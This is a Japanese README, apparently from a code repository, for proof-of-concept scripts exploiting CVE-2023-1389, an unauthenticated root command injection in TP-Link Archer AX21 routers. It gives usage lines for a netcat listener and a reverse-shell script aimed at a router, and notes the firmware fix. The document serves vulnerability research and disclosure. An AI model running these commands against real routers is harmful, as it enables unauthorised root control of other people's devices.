
CVE-2023-1389の概念実証スクリプト。TP-Link Archer AX21における未認証のコマンドインジェクションであり、ファイル転送とリバースシェルの機能を提供します。
CVE-2023–1389 は、TP-Link Archer AX21 WiFi ルーターにおける認証不要のコマンドインジェクションの脆弱性です。country パラメータ内のコールバックが popen() 関数を使用しており、これは root として実行されるため、攻撃者は認証を必要とせずに、管理インターフェースへの GET または POST リクエストを通じて任意の値を注入できます。脆弱性の詳細はこちらで確認できます。
これらは、コマンドインジェクションを調査中に私が作成した Proof-of-Concept のいくつかです。Archer-file-transfer.py は最初のイテレーションであり、インタラクションの実現方法がかなり複雑です。Archer-rev-shell.py はシンプルな netcat リバースシェルを提供しており、おそらくこれが目的のものだと思います。これらのスクリプトの開発について詳しく知りたい場合は、こちらの記事を読むことができます。
一方のターミナルウィンドウで:
nc your_IP listener_port
もう一方のターミナルウィンドウで:
python3 archer-rev-shell.py -r router_IP -a your_IP -p listner_port
TP-Link は、脆弱なコールバックを削除してこの問題を修正したファームウェアバージョン 1.1.4 Build 20230219 をリリースしました。ルーターを最新のファームウェアに更新することで、デバイスを保護できます。
これらの PoC を保守することはおそらくないでしょう。どちらもかなりシンプルなので、必要に応じて簡単に変更できるはずです。